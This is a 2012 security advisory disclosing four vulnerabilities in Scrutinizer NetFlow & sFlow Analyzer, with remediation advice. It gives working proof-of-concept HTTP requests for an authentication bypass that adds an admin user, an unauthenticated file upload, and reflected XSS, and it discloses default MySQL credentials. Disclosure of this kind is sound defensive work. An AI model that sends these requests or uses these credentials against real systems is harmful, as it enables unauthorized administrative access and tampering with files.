Trustwave SpiderLabs Security Advisory TWSL2012-014: Multiple Vulnerabilities in Scrutinizer NetFlow & sFlow Analyzer Published: 07/27/12 Version: 1.0 Vendor: Plixer International (http://www.plixer.com) Product: Scrutinizer NetFlow and sFlow Analyzer Version affected: Confirmed 9.0.1 (Build 9.0.1.19899) and prior versions may be affected as well. Please note that the software can be found in a long list of other products. Visit http://www.plixer.com/Scrutinizer-Netflow-Sflow/scrutinizer.html for the partial list. Product description: Network analysis tool for monitoring the overall network health and reports on which hosts, applications, protocols, etc. that are consuming network bandwidth. Credits: Mario Ceballos of the Metasploit Project Jonathan Claudius of Trustwave Spiderlabs Finding 1: HTTP Authentication Bypass Vulnerability CVE: CVE-2012-2626 The Scrutinizer web console provides a form-based login facility, requiring users to authenticate to gain access to further functionality. A tiered user access model is also used, where administrative and standard users have a different selection of permissible functions. Authentication and authorization is controlled by the cookie-based session management system. Although this is implemented in a standardized way, the session tokens are not required to perform privileged functions, such as adding users. Example(s): This request will add a user named "trustwave" with the password of "trustwave" to the administrative user group. #Request POST /cgi-bin/admin.cgi HTTP/1.1 Host: A.B.C.D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0) Gecko/20100101 Firefox/11.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Content-Length: 70 tool=userprefs&newUser=trustwave&pwd=trustwave&selectedUserGroup=1 #Response HTTP/1.1 200 OK Date: Wed, 25 Apr 2012 17:52:15 GMT Server: Apache Vary: Accept-Encoding Content-Length: 19 Content-Type: text/html; charset=utf-8 {"new_user_id":"2"} Finding 2: Arbitrary File Upload Vulnerability CVE: CVE-2012-2627 The Scrutinizer web console is prone to unauthenticated arbitrary file upload vulnerability. An attacker could exploit this vulnerability to upload files to the affected systems file system as well as overwrite the Scrutinizer applications SNMP configuration. Example(s): This request will upload a test file to the following location: 'C:\Program Files (x86)\Scrutinizer\snmp\mibs\trustwave.txt' Note: This affected folder also contains SNMP configuration files which could be overwritten if an attacker were to select the right file name. #Request POST /d4d/uploader.php HTTP/1.0 Host: A.B.C.D User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Content-Type: multipart/form-data; boundary=_Part_949_3365333252_3066945593 Content-Length: 210 --_Part_949_3365333252_3066945593 Content-Disposition: form-data; name="uploadedfile"; filename="trustwave.txt" Content-Type: application/octet-stream trustwave --_Part_949_3365333252_3066945593-- #Response HTTP/1.1 200 OK Date: Wed, 25 Apr 2012 17:39:15 GMT Server: Apache X-Powered-By: PHP/5.3.3 Vary: Accept-Encoding Content-Length: 41 Connection: close Content-Type: text/html {"success":1,"file_name":"trustwave.txt"} #Confirming on File System C:\>type "Program Files (x86)\Scrutinizer\snmp\mibs\trustwave.txt" trustwave Finding 3: Multiple Cross-site Scripting Vulnerabilities in exporters.php and contextMenu.php CVE: CVE-2012-3848 The Scrutinizer web console suffers from multiple Cross Site Scripting vulnerabilities in the following pages: 1.) /d4d/contextMenu.php 2.) /d4d/exporters.php These vulnerabilities include the following: 1.) XSS via arbitrary parameter 3.) XSS via referrer header Example(s): The following two examples will demonstrate the the above mentioned vulnerabilities on exporters.php #Request 1 GET /d4d/exporters.php?a<script>alert(123)</script>=1 HTTP/1.1 Host: A.B.C.D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:12.0) Gecko/20100101 Firefox/12.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive #Response 1 <snip> <a href="/d4d/exporters.php?a<script>alert(1)</script>=1">/d4d/exporters.php?a<script>alert(123)</script>=1</a></td></tr> <snip> #Request 2 GET /d4d/exporters.php HTTP/1.1 Host: A.B.C.D Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://D.E.F.G/search?hl=en&q=a<script>alert(123)</script>=1 Content-Length: 2 #Response 2 <snip> <a href="http://D.E.F.G/search?hl=en&q=a<script>alert(123)</script>=1">http://D.E.F.G/search?hl=en&q=a<script>alert(123)</script>=1</a> <snip> Finding 4: Undocumented Default Admin MySQL Users CVE: CVE-2012-3951 The Scrutinizer application relies on an underlying Apache, MySQL and PHP installation which is installed as part of the scrutinizer installer package. The installation of these packages are transparent to the user during the Scrutinizer installation. The installation selects default passwords for internal MySQL Users which are not configured by the user which could be easily guessed by an attacker. There is currently no way to change these values within the Scrutinizer application and changing them manually in the MySQL instance has unknown effects on the application due to hardcoded values for some of these accounts. Example(s): The following MySQL command can be run to see the users and their relative passwords: #Request select User,Password from mysql.user; #Response User |Password root | root | scrutinizer |*4ACFE3202A5FF5CF467898FC58AAB1D615029441 scrutremote |*4ACFE3202A5FF5CF467898FC58AAB1D615029441 Note 1: the above hash shared between the 'scrutinizer' and 'scrutremote' users is equivalent to 'admin' Note 2: the 'scrutinizer' and 'scrutremote' users have select, update, delete, create, drop, and more permissions within the MySQL instance. Note 3: By default, the MySQL instance is bound to "0.0.0.0", the equivalent of every network interface on the system allowing users with the proper access rights to interact directly with the MySQL instance. Remediation Steps: Customers should update to the latest version of Scrutinizer NetFlow & sFlow Analyzer in order to address findings 1, 2 and 3. These issues have been corrected in version 9.5.0.
